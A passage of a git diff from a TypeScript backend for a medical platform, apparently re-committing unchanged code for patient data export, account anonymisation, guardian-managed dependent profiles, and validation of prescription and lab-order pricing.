disputes: { + include: { + resolutions: true, + }, + }, + }, + }); + if (!order) { + throw new HttpError(404, 'Order not found.'); + } + return formatOrderResponse(order); +} + +export const prescriptionsExportSection: PatientExportSection = { + name: 'prescriptions', version: 1, + pages(subject, pageSize) { + return paginate(pageSize, + (cursor, take) => ordersRepo.findPrescriptionExportPage(subject.patientProfileId, cursor, take), + (rows) => rows.map((row) => ({ + id: row.id, consultationId: row.consultationId, prescribingDoctorId: row.prescribingDoctorId, + facilityProfileId: row.facilityProfileId, amountStroops: row.amountStroops.toString(), + supersedesPrescriptionId: row.supersedesPrescriptionId, createdAt: row.createdAt, + items: row.items.map(({ drugName, dosage, frequency, duration }) => ({ drugName, dosage, frequency, duration })), + })), + ); + }, +}; + +export const labOrdersExportSection: PatientExportSection = { + name: 'lab_orders', version: 1, + pages(subject, pageSize) { + return paginate(pageSize, + (cursor, take) => ordersRepo.findLabOrderExportPage(subject.patientProfileId, cursor, take), + (rows) => rows.map((row) => ({ + id: row.id, consultationId: row.consultationId, orderingDoctorId: row.orderingDoctorId, + facilityProfileId: row.facilityProfileId, amountStroops: row.amountStroops.toString(), + testType: row.testType, urgency: row.urgency, notes: decryptField(row.notes), + supersedesLabOrderId: row.supersedesLabOrderId, createdAt: row.createdAt, + result: row.result ? { resultFileUrl: row.result.resultFileUrl, summary: row.result.summary, createdAt: row.result.createdAt } : null, + })), + ); + }, +}; + +/** Retention hold (issue #41, docs/adr/0010): prescriptions and lab orders + * are append-only clinical orders, so a patient who has any is never purged + * after deletion. */ +export function hasOrdersForPatient(patientProfileId: string): Promise { + return ordersRepo.patientHasOrders(patientProfileId); +} diff --git a/backend/src/modules/orders/validation.ts b/backend/src/modules/orders/validation.ts index b858663c..c4bc220c 100644 --- a/backend/src/modules/orders/validation.ts +++ b/backend/src/modules/orders/validation.ts @@ -1,38 +1,38 @@ -import { z } from 'zod'; - -const amountStroops = z.string().regex(/^[1-9][0-9]*$/, 'amountStroops must be a positive integer string.').transform(BigInt); -const catalogItemCode = z.string().trim().min(1).max(100); -const item = z.object({ drugName: z.string().trim().min(1).max(200), dosage: z.string().trim().min(1).max(200), frequency: z.string().trim().min(1).max(200), duration: z.string().trim().min(1).max(200) }); - -/** Either an explicit amount (legacy: the doctor types the price) or a - * catalog item code priced from the facility's published list (issue #127). - * Supplying both is rejected β€” silently preferring one would let a client ask - * to be charged something other than the published price. */ -const pricing = { - amountStroops: amountStroops.optional(), - catalogItemCode: catalogItemCode.optional(), -}; - -const requireExactlyOnePrice = (shape: T) => - z - .object(shape) - .refine((value: { amountStroops?: bigint; catalogItemCode?: string }) => - (value.amountStroops === undefined) !== (value.catalogItemCode === undefined), { - message: 'Provide exactly one of amountStroops (manual price) or catalogItemCode (facility price list).', - }); - -export const consultationSchema = z.object({ appointmentId: z.string().uuid(), outcome: z.enum(['resolved', 'referred', 'follow_up_needed']).nullable().optional(), notes: z.string().max(20000).nullable().optional() }); -export const prescriptionSchema = requireExactlyOnePrice({ - ...pricing, - facilityProfileId: z.string().uuid(), - supersedesPrescriptionId: z.string().uuid().optional(), - items: z.array(item).min(1).max(100), -}); -export const labOrderSchema = requireExactlyOnePrice({ - ...pricing, - facilityProfileId: z.string().uuid(), - testType: z.string().trim().min(1).max(200), - urgency: z.enum(['routine', 'urgent']).default('routine'), - notes: z.string().max(20000).optional(), - supersedesLabOrderId: z.string().uuid().optional(), -}); +import { z } from 'zod'; + +const amountStroops = z.string().regex(/^[1-9][0-9]*$/, 'amountStroops must be a positive integer string.').transform(BigInt); +const catalogItemCode = z.string().trim().min(1).max(100); +const item = z.object({ drugName: z.string().trim().min(1).max(200), dosage: z.string().trim().min(1).max(200), frequency: z.string().trim().min(1).max(200), duration: z.string().trim().min(1).max(200) }); + +/** Either an explicit amount (legacy: the doctor types the price) or a + * catalog item code priced from the facility's published list (issue #127). + * Supplying both is rejected β€” silently preferring one would let a client ask + * to be charged something other than the published price. */ +const pricing = { + amountStroops: amountStroops.optional(), + catalogItemCode: catalogItemCode.optional(), +}; + +const requireExactlyOnePrice = (shape: T) => + z + .object(shape) + .refine((value: { amountStroops?: bigint; catalogItemCode?: string }) => + (value.amountStroops === undefined) !== (value.catalogItemCode === undefined), { + message: 'Provide exactly one of amountStroops (manual price) or catalogItemCode (facility price list).', + }); + +export const consultationSchema = z.object({ appointmentId: z.string().uuid(), outcome: z.enum(['resolved', 'referred', 'follow_up_needed']).nullable().optional(), notes: z.string().max(20000).nullable().optional() }); +export const prescriptionSchema = requireExactlyOnePrice({ + ...pricing, + facilityProfileId: z.string().uuid(), + supersedesPrescriptionId: z.string().uuid().optional(), + items: z.array(item).min(1).max(100), +}); +export const labOrderSchema = requireExactlyOnePrice({ + ...pricing, + facilityProfileId: z.string().uuid(), + testType: z.string().trim().min(1).max(200), + urgency: z.enum(['routine', 'urgent']).default('routine'), + notes: z.string().max(20000).optional(), + supersedesLabOrderId: z.string().uuid().optional(), +}); diff --git a/backend/src/modules/patients/controllers/index.ts b/backend/src/modules/patients/controllers/index.ts index 7c747013..cb40ed6d 100644 --- a/backend/src/modules/patients/controllers/index.ts +++ b/backend/src/modules/patients/controllers/index.ts @@ -1,82 +1,82 @@ -import type { Request, Response } from 'express'; -import { once } from 'node:events'; -import * as patientsService from '../services'; -import { createDependentSchema, deleteAccountSchema } from '../validation'; -import { HttpError } from '../../../http-error'; -import { getParam } from '../../../request-params'; -import { LoginThrottledError } from '../../auth/services'; - -// Phase 8, issue #40 β€” right of access. The subject is always `req.user`; -// no route here accepts a patient id. - -export async function requestExport(req: Request, res: Response) { - if (!req.user) throw new HttpError(401, 'Authentication required.'); - const { export: view } = await patientsService.requestMyExport(req.user.id); - res.set('Location', `/patients/me/export/${view.id}`); - // 202 for a new job and for an already-running one alike: either way the - // client polls the returned id. - res.status(202).json(view); -} - -export async function getExport(req: Request, res: Response) { - if (!req.user) throw new HttpError(401, 'Authentication required.'); - const view = await patientsService.getMyExport(req.user.id, getParam(req, 'exportId')); - res.status(200).json(view); -} - -/** Streams the stored bundle chunk by chunk, honouring backpressure, so a - * large export never sits in memory whole. */ -export async function downloadExport(req: Request, res: Response) { - if (!req.user) throw new HttpError(401, 'Authentication required.'); - const download = await patientsService.openMyExportDownload(req.user.id, getParam(req, 'exportId')); - - res.status(200); - res.set({ - 'Content-Type': 'application/json; charset=utf-8', - 'Content-Length': String(download.sizeBytes), - 'Content-Disposition': `attachment; filename="${download.filename}"`, - 'Cache-Control': 'no-store', - }); - - try { - for await (const chunk of download.chunks()) { - if (res.destroyed) return; - // Wait for the socket to drain, or give up if the client went away. - if (!res.write(chunk)) await Promise.race([once(res, 'drain'), once(res, 'close')]); - } - res.end(); - } catch (err) { - // Headers are already sent, so there's no error envelope to send: cut - // the connection rather than end a truncated document cleanly. - res.destroy(err instanceof Error ? err : new Error('EXPORT_STREAM_FAILED')); - } -} - -/** Phase 8, issue #41 β€” account deletion (docs/adr/0010). 204 whether this - * call anonymised the account or it was already deleted (idempotent). */ -export async function deleteMe(req: Request, res: Response) { - if (!req.user) throw new HttpError(401, 'Authentication required.'); - const { password } = deleteAccountSchema.parse(req.body ?? {}); - try { - await patientsService.deleteMyAccount(req.user.id, password, req.ip); - } catch (err) { - // Password re-confirmation shares the login throttle (issue #35). - if (err instanceof LoginThrottledError) res.set('Retry-After', String(err.retryAfterSeconds)); - throw err; - } - res.status(204).send(); -} - -// Phase 8, issue #42 (docs/adr/0011). The guardian is always `req.user`. - -export async function createDependent(req: Request, res: Response) { - if (!req.user) throw new HttpError(401, 'Authentication required.'); - const input = createDependentSchema.parse(req.body ?? {}); - const dependent = await patientsService.createMyDependent(req.user.id, input); - res.status(201).json(dependent); -} - -export async function listDependents(req: Request, res: Response) { - if (!req.user) throw new HttpError(401, 'Authentication required.'); - res.status(200).json(await patientsService.listMyDependents(req.user.id)); -} +import type { Request, Response } from 'express'; +import { once } from 'node:events'; +import * as patientsService from '../services'; +import { createDependentSchema, deleteAccountSchema } from '../validation'; +import { HttpError } from '../../../http-error'; +import { getParam } from '../../../request-params'; +import { LoginThrottledError } from '../../auth/services'; + +// Phase 8, issue #40 β€” right of access. The subject is always `req.user`; +// no route here accepts a patient id. + +export async function requestExport(req: Request, res: Response) { + if (!req.user) throw new HttpError(401, 'Authentication required.'); + const { export: view } = await patientsService.requestMyExport(req.user.id); + res.set('Location', `/patients/me/export/${view.id}`); + // 202 for a new job and for an already-running one alike: either way the + // client polls the returned id. + res.status(202).json(view); +} + +export async function getExport(req: Request, res: Response) { + if (!req.user) throw new HttpError(401, 'Authentication required.'); + const view = await patientsService.getMyExport(req.user.id, getParam(req, 'exportId')); + res.status(200).json(view); +} + +/** Streams the stored bundle chunk by chunk, honouring backpressure, so a + * large export never sits in memory whole. */ +export async function downloadExport(req: Request, res: Response) { + if (!req.user) throw new HttpError(401, 'Authentication required.'); + const download = await patientsService.openMyExportDownload(req.user.id, getParam(req, 'exportId')); + + res.status(200); + res.set({ + 'Content-Type': 'application/json; charset=utf-8', + 'Content-Length': String(download.sizeBytes), + 'Content-Disposition': `attachment; filename="${download.filename}"`, + 'Cache-Control': 'no-store', + }); + + try { + for await (const chunk of download.chunks()) { + if (res.destroyed) return; + // Wait for the socket to drain, or give up if the client went away. + if (!res.write(chunk)) await Promise.race([once(res, 'drain'), once(res, 'close')]); + } + res.end(); + } catch (err) { + // Headers are already sent, so there's no error envelope to send: cut + // the connection rather than end a truncated document cleanly. + res.destroy(err instanceof Error ? err : new Error('EXPORT_STREAM_FAILED')); + } +} + +/** Phase 8, issue #41 β€” account deletion (docs/adr/0010). 204 whether this + * call anonymised the account or it was already deleted (idempotent). */ +export async function deleteMe(req: Request, res: Response) { + if (!req.user) throw new HttpError(401, 'Authentication required.'); + const { password } = deleteAccountSchema.parse(req.body ?? {}); + try { + await patientsService.deleteMyAccount(req.user.id, password, req.ip); + } catch (err) { + // Password re-confirmation shares the login throttle (issue #35). + if (err instanceof LoginThrottledError) res.set('Retry-After', String(err.retryAfterSeconds)); + throw err; + } + res.status(204).send(); +} + +// Phase 8, issue #42 (docs/adr/0011). The guardian is always `req.user`. + +export async function createDependent(req: Request, res: Response) { + if (!req.user) throw new HttpError(401, 'Authentication required.'); + const input = createDependentSchema.parse(req.body ?? {}); + const dependent = await patientsService.createMyDependent(req.user.id, input); + res.status(201).json(dependent); +} + +export async function listDependents(req: Request, res: Response) { + if (!req.user) throw new HttpError(401, 'Authentication required.'); + res.status(200).json(await patientsService.listMyDependents(req.user.id)); +} diff --git a/backend/src/modules/patients/repositories/index.ts b/backend/src/modules/patients/repositories/index.ts index 54657728..8d74d981 100644 --- a/backend/src/modules/patients/repositories/index.ts +++ b/backend/src/modules/patients/repositories/index.ts @@ -1,268 +1,268 @@ -import { prisma } from '../../../db/prisma-client'; -import type { PatientExportStatus, Prisma } from '@prisma/client'; - -type DbClient = typeof prisma | Prisma.TransactionClient; - -export function findPatientProfileByUserId(userId: string) { - return prisma.patientProfile.findUnique({ where: { userId } }); -} - -// --- Patient data export (Phase 8, issue #40) ---------------------------- -// PatientExport / PatientExportChunk are owned by this module. Every -// status change below is a conditional UPDATE (`updateMany` with the -// expected current state in the WHERE clause) β€” never read-then-write β€” so -// concurrent workers, cleanup and requests can't step on each other. - -const IN_FLIGHT: PatientExportStatus[] = ['pending', 'processing']; - -/** - * Returns the patient's in-flight export if there is one, otherwise creates - * a new `pending` one. The profile row is locked (`FOR UPDATE`) for the - * duration, which serialises concurrent requests from the same patient, so - * a double-click can't queue two generations. - */ -export function findInFlightOrCreateExport(patientProfileId: string) { - return prisma.$transaction(async (tx) => { - await tx.$queryRaw`SELECT "id" FROM "PatientProfile" WHERE "id" = ${patientProfileId} FOR UPDATE`; - const existing = await tx.patientExport.findFirst({ - where: { patientProfileId, status: { in: IN_FLIGHT } }, - orderBy: { createdAt: 'desc' }, - }); - if (existing) return { record: existing, created: false }; - const record = await tx.patientExport.create({ data: { patientProfileId } }); - return { record, created: true }; - }); -} - -/** Owner-scoped lookup: an export id belonging to someone else is - * indistinguishable from one that doesn't exist. */ -export function findExportForPatient(exportId: string, patientProfileId: string) { - return prisma.patientExport.findFirst({ where: { id: exportId, patientProfileId } }); -} - -export function findPatientProfileOwner(patientProfileId: string) { - return prisma.patientProfile.findUnique({ where: { id: patientProfileId }, select: { id: true, userId: true } }); -} - -export function findOldestPendingExportIds(limit: number) { - return prisma.patientExport - .findMany({ where: { status: 'pending' }, orderBy: { createdAt: 'asc' }, take: limit, select: { id: true } }) - .then((rows) => rows.map((row) => row.id)); -} - -export interface ClaimedExport { - id: string; - attempt: number; - patientProfileId: string; -} - -/** pending -> processing, bumping the attempt (fencing token), as one - * statement: the attempt returned is exactly the one this caller claimed. - * Null if the job wasn't pending (someone else got there first). */ -export async function claimPendingExport( - exportId: string, - schemaVersion: number, - startedAt: Date, -): Promise { - const rows = await prisma.$queryRaw` - UPDATE "PatientExport" - SET "status" = 'processing', "attempt" = "attempt" + 1, "startedAt" = ${startedAt}, - "schemaVersion" = ${schemaVersion}, "updatedAt" = NOW() - WHERE "id" = ${exportId} AND "status" = 'pending' - RETURNING "id", "attempt", "patientProfileId" - `; - return rows[0] ?? null; -} - -export function createExportChunk(exportId: string, attempt: number, seq: number, data: string) { - return prisma.patientExportChunk.create({ data: { exportId, attempt, seq, data } }); -} - -export function findExportChunk(exportId: string, attempt: number, seq: number) { - return prisma.patientExportChunk.findUnique({ where: { exportId_attempt_seq: { exportId, attempt, seq } } }); -} - -export function deleteExportChunks(exportId: string, attempt?: number) { - return prisma.patientExportChunk - .deleteMany({ where: attempt === undefined ? { exportId } : { exportId, attempt } }) - .then((result) => result.count); -} - -/** processing -> ready, only for the attempt that is still current. */ -export async function markExportReady( - exportId: string, - attempt: number, - data: { generatedAt: Date; expiresAt: Date; sizeBytes: number; chunkCount: number }, -): Promise { - const result = await prisma.patientExport.updateMany({ - where: { id: exportId, status: 'processing', attempt }, - data: { status: 'ready', ...data, failureCode: null, failedSection: null }, - }); - return result.count === 1; -} - -// --- Account deletion (Phase 8, issue #41, docs/adr/0010) ---------------- - -/** What a deleted patient's profile shows from now on (e.g. in a doctor's - * appointment list). */ -export const ANONYMIZED_PATIENT_NAME = 'Deleted patient'; - -/** Anonymises the profile in place, conditional on it not already being - * anonymised. The row (and its id) stays: appointments and payments keep - * their foreign key to it. */ -export async function anonymizeProfile(db: DbClient, profileId: string, anonymizedAt: Date): Promise { - const result = await db.patientProfile.updateMany({ - where: { id: profileId, anonymizedAt: null }, - data: { fullName: ANONYMIZED_PATIENT_NAME, dateOfBirth: null, anonymizedAt }, - }); - return result.count === 1; -} - -/** Account deletion (issue #41, docs/adr/0010): exports are derived copies - * of the patient's data, not records of care, so they go at anonymisation. - * Chunks cascade. An export still being generated loses its row here, so its - * final conditional `ready` update matches nothing and it never publishes. */ -export function deleteExportsForPatient(db: DbClient, patientProfileId: string) { - return db.patientExport.deleteMany({ where: { patientProfileId } }).then((result) => result.count); -} - -/** processing -> failed, only for the attempt that is still current. */ -export async function markExportFailed( - exportId: string, - attempt: number, - failure: { failureCode: string; failedSection: string | null }, -): Promise { - const result = await prisma.patientExport.updateMany({ - where: { id: exportId, status: 'processing', attempt }, - data: { status: 'failed', ...failure }, - }); - return result.count === 1; -} - -export function findStaleProcessingExports(startedBefore: Date, limit: number) { - return prisma.patientExport.findMany({ - where: { status: 'processing', startedAt: { lt: startedBefore } }, - select: { id: true, attempt: true }, - take: limit, - }); -} - -/** processing -> pending for a claim presumed dead; conditional on the - * attempt so a worker that finished in the meantime isn't undone. */ -export async function requeueStaleExport(exportId: string, attempt: number): Promise { - const result = await prisma.patientExport.updateMany({ - where: { id: exportId, status: 'processing', attempt }, - data: { status: 'pending', startedAt: null }, - }); - return result.count === 1; -} - -export function findExpiredReadyExportIds(now: Date, limit: number) { - return prisma.patientExport - .findMany({ where: { status: 'ready', expiresAt: { lte: now } }, select: { id: true }, take: limit }) - .then((rows) => rows.map((row) => row.id)); -} - -/** ready -> expired and the artifact deleted, in one transaction. Only the - * row's own chunks are touched; the metadata row stays (no patient data in - * it) so a later status read answers "expired" rather than "not found". */ -export async function expireExport(exportId: string, now: Date): Promise { - return prisma.$transaction(async (tx) => { - const result = await tx.patientExport.updateMany({ - where: { id: exportId, status: 'ready', expiresAt: { lte: now } }, - data: { status: 'expired' }, - }); - if (result.count !== 1) return false; - await tx.patientExportChunk.deleteMany({ where: { exportId } }); - return true; - }); -} - -/** Chunks that can never be served: any attempt other than the export's - * current one (a superseded or crashed claim), and anything belonging to a - * failed or expired export. */ -export function deleteUnservableExportChunks(): Promise { - return prisma.$executeRaw` - DELETE FROM "PatientExportChunk" c - USING "PatientExport" e - WHERE c."exportId" = e."id" - AND (c."attempt" <> e."attempt" OR e."status" IN ('failed', 'expired')) - `; -} - -export function findPatientProfileById(id: string) { - return prisma.patientProfile.findUnique({ where: { id } }); -} -/** One keyset page of anonymised profiles old enough to be purge - * candidates. */ -export function findAnonymizedProfilesPage(anonymizedBefore: Date, cursor: string | undefined, take: number) { - return prisma.patientProfile.findMany({ - where: { anonymizedAt: { lte: anonymizedBefore } }, - select: { id: true, userId: true }, - orderBy: { id: 'asc' }, - take, - ...(cursor ? { cursor: { id: cursor }, skip: 1 } : {}), - }); -} - -/** Hard-deletes an anonymised profile. Conditional on `anonymizedAt` being - * set, so a live profile can never be removed here; and every clinical or - * payment table references the profile with ON DELETE RESTRICT, so a row - * that still has records makes this throw instead of cascading. */ -export async function deleteAnonymizedProfile(db: DbClient, profileId: string): Promise { - const result = await db.patientProfile.deleteMany({ where: { id: profileId, anonymizedAt: { not: null } } }); - return result.count === 1; -} - -// --- Guardians and dependents (Phase 8, issue #42, docs/adr/0011) -------- - -/** Creates a login-less dependent profile and its guardianship together: - * a dependent with no guardian (or a guardianship with no dependent) is - * never observable. */ -export function createDependentWithGuardianship(input: { - guardianUserId: string; - fullName: string; - dateOfBirth: Date; -}) { - return prisma.$transaction(async (tx) => { - const profile = await tx.patientProfile.create({ - data: { userId: null, fullName: input.fullName, dateOfBirth: input.dateOfBirth }, - }); - const guardianship = await tx.guardianship.create({ - data: { guardianUserId: input.guardianUserId, dependentProfileId: profile.id }, - }); - return { profile, guardianship }; - }); -} - -/** The guardian's non-revoked guardianships with their dependent profiles. - * Majority is applied by the service (it needs the configured age). */ -export function findUnrevokedGuardianshipsForGuardian(guardianUserId: string) { - return prisma.guardianship.findMany({ - where: { guardianUserId, revokedAt: null }, - include: { dependentProfile: true }, - orderBy: { createdAt: 'asc' }, - }); -} - -/** The guardianship between this guardian and this profile, if any (revoked - * or not), with the dependent profile. */ -export function findGuardianship(guardianUserId: string, dependentProfileId: string) { - return prisma.guardianship.findUnique({ - where: { guardianUserId_dependentProfileId: { guardianUserId, dependentProfileId } }, - include: { dependentProfile: true }, - }); -} - -/** Account deletion (issues #41/#42, docs/adr/0010 + 0011): a deleted - * guardian's access to their dependents ends with the account. Revoked, never - * deleted β€” the rows are the record of who had access and when. */ -export function revokeGuardianshipsOfGuardian(db: DbClient, guardianUserId: string, revokedAt: Date) { - return db.guardianship - .updateMany({ where: { guardianUserId, revokedAt: null }, data: { revokedAt } }) - .then((result) => result.count); -} - -export async function guardianHasGuardianships(guardianUserId: string): Promise { - return (await prisma.guardianship.findFirst({ where: { guardianUserId }, select: { id: true } })) !== null; -} +import { prisma } from '../../../db/prisma-client'; +import type { PatientExportStatus, Prisma } from '@prisma/client'; + +type DbClient = typeof prisma | Prisma.TransactionClient; + +export function findPatientProfileByUserId(userId: string) { + return prisma.patientProfile.findUnique({ where: { userId } }); +} + +// --- Patient data export (Phase 8, issue #40) ---------------------------- +// PatientExport / PatientExportChunk are owned by this module. Every +// status change below is a conditional UPDATE (`updateMany` with the +// expected current state in the WHERE clause) β€” never read-then-write β€” so +// concurrent workers, cleanup and requests can't step on each other. + +const IN_FLIGHT: PatientExportStatus[] = ['pending', 'processing']; + +/** + * Returns the patient's in-flight export if there is one, otherwise creates + * a new `pending` one. The profile row is locked (`FOR UPDATE`) for the + * duration, which serialises concurrent requests from the same patient, so + * a double-click can't queue two generations. + */ +export function findInFlightOrCreateExport(patientProfileId: string) { + return prisma.$transaction(async (tx) => { + await tx.$queryRaw`SELECT "id" FROM "PatientProfile" WHERE "id" = ${patientProfileId} FOR UPDATE`; + const existing = await tx.patientExport.findFirst({ + where: { patientProfileId, status: { in: IN_FLIGHT } }, + orderBy: { createdAt: 'desc' }, + }); + if (existing) return { record: existing, created: false }; + const record = await tx.patientExport.create({ data: { patientProfileId } }); + return { record, created: true }; + }); +} + +/** Owner-scoped lookup: an export id belonging to someone else is + * indistinguishable from one that doesn't exist. */ +export function findExportForPatient(exportId: string, patientProfileId: string) { + return prisma.patientExport.findFirst({ where: { id: exportId, patientProfileId } }); +} + +export function findPatientProfileOwner(patientProfileId: string) { + return prisma.patientProfile.findUnique({ where: { id: patientProfileId }, select: { id: true, userId: true } }); +} + +export function findOldestPendingExportIds(limit: number) { + return prisma.patientExport + .findMany({ where: { status: 'pending' }, orderBy: { createdAt: 'asc' }, take: limit, select: { id: true } }) + .then((rows) => rows.map((row) => row.id)); +} + +export interface ClaimedExport { + id: string; + attempt: number; + patientProfileId: string; +} + +/** pending -> processing, bumping the attempt (fencing token), as one + * statement: the attempt returned is exactly the one this caller claimed. + * Null if the job wasn't pending (someone else got there first). */ +export async function claimPendingExport( + exportId: string, + schemaVersion: number, + startedAt: Date, +): Promise { + const rows = await prisma.$queryRaw` + UPDATE "PatientExport" + SET "status" = 'processing', "attempt" = "attempt" + 1, "startedAt" = ${startedAt}, + "schemaVersion" = ${schemaVersion}, "updatedAt" = NOW() + WHERE "id" = ${exportId} AND "status" = 'pending' + RETURNING "id", "attempt", "patientProfileId" + `; + return rows[0] ?? null; +} + +export function createExportChunk(exportId: string, attempt: number, seq: number, data: string) { + return prisma.patientExportChunk.create({ data: { exportId, attempt, seq, data } }); +} + +export function findExportChunk(exportId: string, attempt: number, seq: number) { + return prisma.patientExportChunk.findUnique({ where: { exportId_attempt_seq: { exportId, attempt, seq } } }); +} + +export function deleteExportChunks(exportId: string, attempt?: number) { + return prisma.patientExportChunk + .deleteMany({ where: attempt === undefined ? { exportId } : { exportId, attempt } }) + .then((result) => result.count); +} + +/** processing -> ready, only for the attempt that is still current. */ +export async function markExportReady( + exportId: string, + attempt: number, + data: { generatedAt: Date; expiresAt: Date; sizeBytes: number; chunkCount: number }, +): Promise { + const result = await prisma.patientExport.updateMany({ + where: { id: exportId, status: 'processing', attempt }, + data: { status: 'ready', ...data, failureCode: null, failedSection: null }, + }); + return result.count === 1; +} + +// --- Account deletion (Phase 8, issue #41, docs/adr/0010) ---------------- + +/** What a deleted patient's profile shows from now on (e.g. in a doctor's + * appointment list). */ +export const ANONYMIZED_PATIENT_NAME = 'Deleted patient'; + +/** Anonymises the profile in place, conditional on it not already being + * anonymised. The row (and its id) stays: appointments and payments keep + * their foreign key to it. */ +export async function anonymizeProfile(db: DbClient, profileId: string, anonymizedAt: Date): Promise { + const result = await db.patientProfile.updateMany({ + where: { id: profileId, anonymizedAt: null }, + data: { fullName: ANONYMIZED_PATIENT_NAME, dateOfBirth: null, anonymizedAt }, + }); + return result.count === 1; +} + +/** Account deletion (issue #41, docs/adr/0010): exports are derived copies + * of the patient's data, not records of care, so they go at anonymisation. + * Chunks cascade. An export still being generated loses its row here, so its + * final conditional `ready` update matches nothing and it never publishes. */ +export function deleteExportsForPatient(db: DbClient, patientProfileId: string) { + return db.patientExport.deleteMany({ where: { patientProfileId } }).then((result) => result.count); +} + +/** processing -> failed, only for the attempt that is still current. */ +export async function markExportFailed( + exportId: string, + attempt: number, + failure: { failureCode: string; failedSection: string | null }, +): Promise { + const result = await prisma.patientExport.updateMany({ + where: { id: exportId, status: 'processing', attempt }, + data: { status: 'failed', ...failure }, + }); + return result.count === 1; +} + +export function findStaleProcessingExports(startedBefore: Date, limit: number) { + return prisma.patientExport.findMany({ + where: { status: 'processing', startedAt: { lt: startedBefore } }, + select: { id: true, attempt: true }, + take: limit, + }); +} + +/** processing -> pending for a claim presumed dead; conditional on the + * attempt so a worker that finished in the meantime isn't undone. */ +export async function requeueStaleExport(exportId: string, attempt: number): Promise { + const result = await prisma.patientExport.updateMany({ + where: { id: exportId, status: 'processing', attempt }, + data: { status: 'pending', startedAt: null }, + }); + return result.count === 1; +} + +export function findExpiredReadyExportIds(now: Date, limit: number) { + return prisma.patientExport + .findMany({ where: { status: 'ready', expiresAt: { lte: now } }, select: { id: true }, take: limit }) + .then((rows) => rows.map((row) => row.id)); +} + +/** ready -> expired and the artifact deleted, in one transaction. Only the + * row's own chunks are touched; the metadata row stays (no patient data in + * it) so a later status read answers "expired" rather than "not found". */ +export async function expireExport(exportId: string, now: Date): Promise { + return prisma.$transaction(async (tx) => { + const result = await tx.patientExport.updateMany({ + where: { id: exportId, status: 'ready', expiresAt: { lte: now } }, + data: { status: 'expired' }, + }); + if (result.count !== 1) return false; + await tx.patientExportChunk.deleteMany({ where: { exportId } }); + return true; + }); +} + +/** Chunks that can never be served: any attempt other than the export's + * current one (a superseded or crashed claim), and anything belonging to a + * failed or expired export. */ +export function deleteUnservableExportChunks(): Promise { + return prisma.$executeRaw` + DELETE FROM "PatientExportChunk" c + USING "PatientExport" e + WHERE c."exportId" = e."id" + AND (c."attempt" <> e."attempt" OR e."status" IN ('failed', 'expired')) + `; +} + +export function findPatientProfileById(id: string) { + return prisma.patientProfile.findUnique({ where: { id } }); +} +/** One keyset page of anonymised profiles old enough to be purge + * candidates. */ +export function findAnonymizedProfilesPage(anonymizedBefore: Date, cursor: string | undefined, take: number) { + return prisma.patientProfile.findMany({ + where: { anonymizedAt: { lte: anonymizedBefore } }, + select: { id: true, userId: true }, + orderBy: { id: 'asc' }, + take, + ...(cursor ? { cursor: { id: cursor }, skip: 1 } : {}), + }); +} + +/** Hard-deletes an anonymised profile. Conditional on `anonymizedAt` being + * set, so a live profile can never be removed here; and every clinical or + * payment table references the profile with ON DELETE RESTRICT, so a row + * that still has records makes this throw instead of cascading. */ +export async function deleteAnonymizedProfile(db: DbClient, profileId: string): Promise { + const result = await db.patientProfile.deleteMany({ where: { id: profileId, anonymizedAt: { not: null } } }); + return result.count === 1; +} + +// --- Guardians and dependents (Phase 8, issue #42, docs/adr/0011) -------- + +/** Creates a login-less dependent profile and its guardianship together: + * a dependent with no guardian (or a guardianship with no dependent) is + * never observable. */ +export function createDependentWithGuardianship(input: { + guardianUserId: string; + fullName: string; + dateOfBirth: Date; +}) { + return prisma.$transaction(async (tx) => { + const profile = await tx.patientProfile.create({ + data: { userId: null, fullName: input.fullName, dateOfBirth: input.dateOfBirth }, + }); + const guardianship = await tx.guardianship.create({ + data: { guardianUserId: input.guardianUserId, dependentProfileId: profile.id }, + }); + return { profile, guardianship }; + }); +} + +/** The guardian's non-revoked guardianships with their dependent profiles. + * Majority is applied by the service (it needs the configured age). */ +export function findUnrevokedGuardianshipsForGuardian(guardianUserId: string) { + return prisma.guardianship.findMany({ + where: { guardianUserId, revokedAt: null }, + include: { dependentProfile: true }, + orderBy: { createdAt: 'asc' }, + }); +} + +/** The guardianship between this guardian and this profile, if any (revoked + * or not), with the dependent profile. */ +export function findGuardianship(guardianUserId: string, dependentProfileId: string) { + return prisma.guardianship.findUnique({ + where: { guardianUserId_dependentProfileId: { guardianUserId, dependentProfileId } }, + include: { dependentProfile: true }, + }); +} + +/** Account deletion (issues #41/#42, docs/adr/0010 + 0011): a deleted + * guardian's access to their dependents ends with the account. Revoked, never + * deleted β€” the rows are the record of who had access and when. */ +export function revokeGuardianshipsOfGuardian(db: DbClient, guardianUserId: string, revokedAt: Date) { + return db.guardianship + .updateMany({ where: { guardianUserId, revokedAt: null }, data: { revokedAt } }) + .then((result) => result.count); +} + +export async function guardianHasGuardianships(guardianUserId: string): Promise { + return (await prisma.guardianship.findFirst({ where: { guardianUserId }, select: { id: true } })) !== null; +} diff --git a/backend/src/modules/patients/routes/index.ts b/backend/src/modules/patients/routes/index.ts index 39668dec..00fa2308 100644 --- a/backend/src/modules/patients/routes/index.ts +++ b/backend/src/modules/patients/routes/index.ts @@ -1,34 +1,34 @@ -import { Router } from 'express'; -import { authenticate, requireRole, requireVerifiedEmail } from '../../../middleware/auth'; -import * as patientsController from '../controllers'; - -export const patientsRouter = Router(); - -// Patient data export (Phase 8, issue #40). Patient-only and self-only: -// doctors and admins get 403 here, and an export id that belongs to another -// patient is a 404. There is no admin-on-behalf-of route. -patientsRouter.post('/me/export', authenticate, requireRole('patient'), patientsController.requestExport); -patientsRouter.get('/me/export/:exportId', authenticate, requireRole('patient'), patientsController.getExport); -patientsRouter.get( - '/me/export/:exportId/download', - authenticate, - requireRole('patient'), - patientsController.downloadExport, -); -// Account deletion (Phase 8, issue #41, docs/adr/0010). Self-only β€” the -// account is the authenticated caller, never a path or body parameter. -// Deliberately not behind requireVerifiedEmail: an unverified account must -// still be deletable. -patientsRouter.delete('/me', authenticate, requireRole('patient'), patientsController.deleteMe); - -// Guardians and dependents (Phase 8, issue #42, docs/adr/0011). Patients -// only; creating a dependent needs a verified address, the same bar as -// booking for them. -patientsRouter.post( - '/me/dependents', - authenticate, - requireRole('patient'), - requireVerifiedEmail, - patientsController.createDependent, -); -patientsRouter.get('/me/dependents', authenticate, requireRole('patient'), patientsController.listDependents); +import { Router } from 'express'; +import { authenticate, requireRole, requireVerifiedEmail } from '../../../middleware/auth'; +import * as patientsController from '../controllers'; + +export const patientsRouter = Router(); + +// Patient data export (Phase 8, issue #40). Patient-only and self-only: +// doctors and admins get 403 here, and an export id that belongs to another +// patient is a 404. There is no admin-on-behalf-of route. 